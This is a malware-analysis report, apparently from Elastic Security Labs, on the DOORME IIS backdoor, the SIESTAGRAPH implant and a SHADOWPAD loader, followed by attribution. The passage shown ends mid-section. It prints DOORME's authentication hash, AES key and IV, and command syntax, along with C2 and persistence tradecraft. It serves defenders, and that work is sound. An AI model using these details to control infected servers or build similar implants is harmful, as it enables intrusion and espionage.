<p><a href="https://www.iis.net/">IIS</a>, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.</p>
<p>As an example, a backdoored module that overrides the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>event can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.</p>
<p>Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.</p>
<h3>Introduction to the DOORME IIS module</h3>
<p>DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">first discussed</a> the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.</p>
<p>DOORME uses the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function"><strong>RegisterModule</strong></a> function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class"><strong>CGlobalModule</strong></a>class and its event handler, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.</p>
<p>This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image33.jpg" alt="Overview diagram of the DOORME backdoor" /></p>
<h3>Obfuscation</h3>
<h4>String obfuscation</h4>
<p>DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image22.jpg" alt="Pseudocode showcasing string obfuscation" /></p>
<h4>Anti-disassembly technique</h4>
<p>The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image14.jpg" alt="Gaps in the assembly view of IDA pro" /></p>
<h4>Control flow obfuscation</h4>
<p>The malware in question also employs a technique known as <a href="https://unprotect.it/technique/obscuring-control-flow/">Control Flow Obfuscation (CFO)</a> to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.</p>
<p>The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image28.jpg" alt="Pseudocode showcasing CFO example" /></p>
<h4>Dynamic import table resolution obfuscation</h4>
<p>Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.</p>
<p>DOORME first resolves the address of <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> Windows API by parsing the <strong>kernel32.dll</strong> module export table, then uses the <strong>GetProcAddress</strong> function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image1.jpg" alt="Pseudocode showcasing import address table resolution" /></p>
<h3>Execution flow</h3>
<h4>Authentication</h4>
<p>The malicious IIS module backdoor operates by looking for the string &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot; (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.</p>
<h4>GET request handling</h4>
<p><strong>GET</strong> requests are used to perform a status check: the malware returns the string “ <strong>It works!”</strong> followed by the <strong>username</strong> and the <strong>hostname</strong> of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image3.jpg" alt="GET request to the backdoor using curl command" /></p>
<h4>POST requests handling</h4>
<p>The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.</p>
<h4>Base64 implementation</h4>
<p>The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is <strong>&quot;VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7&quot;</strong> , while the normal index table used by the Base64 algorithm is <strong>&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</strong>. This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.</p>
<h4>AES algorithm implementation</h4>
<p>The malware uses <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES (Advanced Encryption Standard)</a> in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot;, as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.</p>
<p>In our case the AES key is “ <strong>5a430ab45c7e142c70018b99fe0d2da3”</strong> and the AES IV is “ <strong>57ce15b304a97772”</strong>.</p>
<h3>Command handling table</h3>
<p>The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the &quot;pipe&quot; symbol( <strong>|</strong> ).</p>
<h4>Command ID 0x42</h4>
<p>The first command implemented has the ID <strong>0x42</strong> and generates a Globally Unique Identifier (GUID) by calling the API <strong>CoCreateGuid</strong>. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image13.jpg" alt="Pseudocode generating the GUID" /></p>
<h4>Command ID 0x43</h4>
<p>Another command, ID <strong>0x43</strong> , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions <strong>NtAllocateVirtualMemory</strong> and <strong>NtCreateThreadEx</strong>.</p>
<p>The <strong>NtAllocateVirtualMemory</strong> function is used to allocate memory in the same process for shellcode, while the <strong>NtCreateThreadEx</strong> function creates an execution thread with shellcode in that newly-allocated memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image27.jpg" alt="Pseudocode self-shellcode injection" /></p>
<h4>Command ID 0x63</h4>
<p>Command ID <strong>0x63</strong> allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.</p>
<h4>Command ID 0x44</h4>
<p>Command ID <strong>0x44</strong> provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.</p>
<h3>DOORME Summary</h3>
<p>In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( <strong>w3wp.exe</strong> ), and the creation of new executables.</p>
<h2>SIESTAGRAPH code analysis</h2>
<h3>Introduction to the SIESTAGRAPH implant</h3>
<p>The implant utilizes the <a href="https://learn.microsoft.com/en-us/graph/overview">Microsoft Graph API</a> to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI library</a> which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image11.jpg" alt="Overview diagram of the SIESTAGRAPH implant" /></p>
<h3>Execution flow</h3>
<p>SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.</p>
<p>![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<p>During the setup phase the malware uses the <a href="https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications:~:text=Microsoft%20Office,4102%2Daeff%2Daad2292ab01c">Microsoft Office GUID</a> ( <strong>d3590ed6-52b3-4102-aeff-aad2292ab01c</strong> ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image19.jpg" alt="Request an authentication token" /></p>
<h3>Authentication</h3>
<p>The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image15.jpg" alt="Hard coded tenant and refresh tokens" /></p>
<p>To facilitate this process, the attacker utilized a third-party and legitimate library named <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI</a>. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image21.jpg" alt="Use of third-party libraries" /></p>
<p>The malware utilizes the <strong>GetAccessTokenFromRefreshToken</strong> method to request an authentication token. This token is then used in all subsequent API requests.</p>
<p>Refresh tokens have a <a href="https://learn.microsoft.com/en-us/microsoft-365/enterprise/session-timeouts?view=o365-worldwide#:~:text=The%20default%20lifetime%20for%20the%20access%20token%20is%201%20hour.%20The%20default%20max%20inactive%20time%20of%20the%20refresh%20token%20is%2090%20days">90-day expiration window</a>. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.</p>
<h3>Command and control</h3>
<p>A session token ( <strong>sessionToken</strong> ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image5.jpg" alt="Defining the session token" /></p>
<p>After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called <strong>sendSession</strong>.</p>
<p>Inspecting the <strong>sendSession</strong> method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image6.jpg" alt="The sendMessage method" /></p>
<p>After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.</p>
<p>When receiving a command, the implant will use the <strong>getMessages</strong> method to check for any draft emails with commands from the attacker.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image9.jpg" alt="The getMessage method" /></p>
<p>With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( <strong>authToken</strong> ). This token is then used in the HTTP request header following the <strong>Authorization: Bearer</strong> ( <strong>“Authorization”, “Bearer “ + authToken</strong> ).</p>
<p>Every call to this method will contain the <strong>sessionToken</strong> , a command, and command arguments, separated with colons ( <strong>:</strong> ) ( <strong><code>&lt;sessionToken&gt;:&lt;Command&gt;:&lt;command arguments&gt;</code></strong> ).</p>
<p>If a command has multiple arguments they will be split by a pipe ( <strong>|</strong> ). An example of this is the <strong>rename</strong> command where the source and destination names are split by a pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image2.jpg" alt="Using a pipe for separating arguments" /></p>
<p>We have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command text</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>Run a command</td>
</tr>
<tr>
<td>N</td>
<td>Update the amount of time the binary will sleep between check-ins</td>
</tr>
<tr>
<td>D</td>
<td>Upload a file to OneDrive</td>
</tr>
<tr>
<td>U</td>
<td>Download Item from Onedrive</td>
</tr>
<tr>
<td>UU</td>
<td>Check to see is Core.bin exists then Download item from Onedrive</td>
</tr>
<tr>
<td>ListDrives</td>
<td>Send a list of the logical drives</td>
</tr>
<tr>
<td>GetDirectories</td>
<td>Send a list of given subdirectories</td>
</tr>
<tr>
<td>GetFiles</td>
<td>Send a list of files in a given directory</td>
</tr>
<tr>
<td>Del</td>
<td>Delete a given file</td>
</tr>
<tr>
<td>Rename</td>
<td>Rename a given file or directory</td>
</tr>
<tr>
<td>P</td>
<td>Get a list of running processes</td>
</tr>
<tr>
<td>E</td>
<td>Ends the execution of the binary</td>
</tr>
<tr>
<td>K</td>
<td>Kill a given process ID</td>
</tr>
<tr>
<td>S</td>
<td>Update the amount of time the binary will sleep between check-ins (same as N)</td>
</tr>
<tr>
<td>NET</td>
<td>Get network information</td>
</tr>
<tr>
<td>SS</td>
<td>Take a screenshot</td>
</tr>
</tbody>
</table>
<p>Several commands are self-explanatory ( <strong>ListDrives</strong> , <strong>Rename</strong> , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.</p>
<h4>C - run command</h4>
<p>When the <strong>C</strong> command is received the malware runs the <strong>runCommand</strong> method. This method takes in the name of <strong>cmd.exe</strong> , the command line to run, and the number of milliseconds to wait for the new process to exit.</p>
<p>If the command parameter is not null or empty, the method proceeds to create a new instance of the <strong>System.Diagnostics.Process</strong> class, which is used to start and interact with a new process. It sets the properties of the process instance's <strong>StartInfo</strong> property, which is of the <strong>ProcessStartInfo</strong> class, such as the <strong>FileName</strong> property to the <strong>cmd</strong> parameter passed to the method, the <strong>Arguments</strong> property to <strong>/c</strong> concatenated with the command parameter, and also sets <strong>UseShellExecute</strong> , <strong>RedirectStandardInput</strong> , <strong>RedirectStandardOutput</strong> , <strong>RedirectStandardError,</strong> and <strong>CreateNoWindow</strong> property. As this method is only called with the hard coded value of <strong>cmd</strong> for the <strong>cmd</strong> parameter, the resulting command will always be <strong><code>cmd /c &lt;command to run&gt;</code></strong>. This is a common way to run commands if one does not have direct access to an interactive shell.</p>
<p>![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<h4>N - Sleep timer update</h4>
<p>The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the <strong>SleepTimer</strong> variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image4.jpg" alt="Updating the SleepTimer" /></p>
<h4>D - Upload to OneDrive</h4>
<p>The <strong>D</strong> command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive</p>
<p>The method receives a <strong>filePath</strong> , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format <strong>OK|C:\foo\file.txt</strong>.</p>
<p>If the upload did not succeed the attacker will receive the error message <strong><code>OK|&lt;Error message&gt;</code></strong>.</p>
<p>While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#exporting-exchange-mailboxes">exported Exchange mailboxes</a> were collected by the threat actor.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image20.jpg" alt="The uploadFile method" /></p>
<h4>U - Download from OneDrive</h4>
<p>The download function is similar to the upload function. Again, from the attacker's perspective, the <strong>U</strong> command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.</p>
<h4>NET - Gather network information</h4>
<p>The <strong>NET</strong> command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, <strong>Ws2_32.dll</strong> (the Windows socket API) and <strong>iphlpapi.dll</strong> (the Windows IP helper API).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image29.jpg" alt="Revolve functions from Ws2_32.dll and iphlpapi.dll" /></p>
<p>The <strong>NET</strong> command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.</p>
<h4>SS - Take screenshot</h4>
<p>To see the victim's desktop, SIESTAGRAPH can call the method named <strong>TakeScreenShot</strong> which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image16.jpg" alt="The TakeScreenShot method" /></p>
<p>This function creates a new <strong>Bitmap</strong> object with the width and height of the primary screen's bounds. Then it creates a new <strong>Graphics</strong> object from the <strong>Bitmap</strong> object and uses the <strong>CopyFromScreen</strong> function to take a screenshot and copy it to the <strong>Graphics</strong> object.</p>
<p>It then creates a new <strong>MemoryStream</strong> object and uses the <strong>Save</strong> method of the <strong>Bitmap</strong> object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the <strong>Convert.ToBase64String</strong> method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.</p>
<h3>SIESTAGRAPH Summary</h3>
<p>SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.</p>
<h2>SHADOWPAD loader code analysis</h2>
<h3>Introduction to log.dll</h3>
<p>When Elastic Security Labs <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#dll-side-loading">disclosed</a> REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">SHADOWPAD</a> malware family.</p>
<p>The DLL, <strong>log.dll</strong> , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: <strong>BDReinit.exe</strong> ), named <strong>13802 AR.exe</strong> (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as <strong>svchost.exe</strong> before installing itself as a service. Once <strong>log.dll</strong> is loaded, it will spawn Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.</p>
<p>At runtime, <strong>log.dll</strong> looks for the <strong>log.dll.dat</strong> file which contains the shellcode to be executed. Then <strong>log.dll</strong> will encrypt and store the <strong>shellcode</strong> in the registry and shred the original <strong>log.dll.dat</strong> file. If the file doesn’t exist it will skip this part.</p>
<p>Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.</p>
<h3>Execution flow</h3>
<p>Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender <strong>BDReinit.exe</strong> binary. The offset to the trampoline (<a href="https://gcc.gnu.org/onlinedocs/gcc-4.7.1/gccint/Trampolines.html">jump instructions</a>) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( <strong>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</strong> ). This side-loading behavior was previously <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">reported</a> by Positive Technologies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image30.jpg" alt="log.dll’s hard coded offsets to BDReinit.exe" /></p>
<p>For our analysis, we patched <strong>log.dll</strong> to execute without the BitDefender sideloading requirement.</p>
<h3>Capabilities</h3>
<h4>Obfuscation</h4>
<p>The <strong>log.dll</strong> uses two lure functions to bypass automatic analysis.</p>
<p>We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image8.jpg" alt="log.dll’s lure functions" /></p>
<p><strong>log.dll</strong> incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.</p>
<p>This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image12.jpg" alt="Obfuscated function prologue 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image24.jpg" alt="Obfuscated function prologue 2/2" /></p>
<p>The resolver function of each call resolves the address of the next gadget and passes execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image10.jpg" alt="Resolver function computing the next gadget address" /></p>
<p>The obfuscation pattern is simple and a trace can be used to recover the original instructions:</p>
<pre><code>**result = []
for i, x in enumerate(trace):
 if &quot;ret&quot; in x:
 result.append(trace[i + 1])**
</code></pre>
<h4>API loading</h4>
<p>The sample uses the common <a href="https://0xevilc0de.com/2018/02/25/locating-dll-name-from-the-process-environment-block-peb/">Ldr crawling technique</a> to find the address of <strong>kernel32.dll.</strong></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image17.jpg" alt="Searching for the process module list in the PEB’s Ldr" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image18.jpg" alt="Searching for kernel32.dll by name in the module list" /></p>
<p>Next, <strong>log.dll</strong> parses the exports of <strong>kernel32.dll</strong> to get the address of the <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> functions. It uses <strong>GetProcAddress</strong> to resolve imports as needed.</p>
<h4>Persistence</h4>
<p>The sample expects to find a file called <strong>log.dll.dat</strong> in its root directory using the <strong>FindFirstFile</strong> and <strong>FindNextFile</strong> APIs. Once <strong>log.dll.dat</strong> is located, it is loaded, encrypted, and stored in the registry under the <strong><code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\}</code></strong> registry value.</p>
<p>This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image31.jpg" alt="Payload is stored encrypted in the registry" /></p>
<p>Once the contents of <strong>log.dll.dat</strong> have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.</p>
<h4>Shellcode</h4>
<p>To execute the shellcode the sample will allocate an <a href="https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions">RWX-protected memory region</a> using the <strong>VirtualAlloc</strong> Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image25.jpg" alt="log.dll allocate RWX memory for the shellcode" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image7.png" alt="log.dll pass execution to the shellcode" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image23.jpg" alt="First instruction of the shellcode" /></p>
<h3>Other SHADOWPAD research</h3>
<p>While researching shared code and techniques, Elastic Security Labs identified a <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">publication from SecureWorks’ CTU</a> that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, <strong>log.dll.dat</strong> , which is consistent with our observations. The team at <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/">Positive Technologies ETC</a> also <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published detailed research</a> on SHADOWPAD which aligns with our research.</p>
<h3>SHADOWPAD Summary</h3>
<p>SHADOWPAD is a malware family that SecureWorks CTU has associated with the <a href="https://www.secureworks.com/research/threat-profiles/bronze-university">BRONZE UNIVERSITY</a> threat group and Positive Technologies ETC has associated with the <a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">Winnti group</a>.</p>
<h2>Campaign and adversary modeling</h2>
<p>Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.</p>
<p>We identified significant overlaps in the work of Positive Technologies ETC and <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">SecureWorks CTU</a> while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image32.jpg" alt="REF2924 intersections and associations" /></p>
<p>In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.</p>
<ol>
<li>Winnti - reported by Positive Technologies, January 2021</li>
<li>Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022</li>
<li>REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022</li>
<li>Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022</li>
</ol>
<h3>Winnti</h3>
<p>In January of 2021, the team at Positive Technologies ETC <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published research</a> that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names <strong>log.dll</strong> and <strong>log.dll.dat</strong> and using the same sample of BitDefender we observed as a DLL injection vehicle.</p>
<p>While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.</p>
<h3>Undisclosed REF, Winnti</h3>
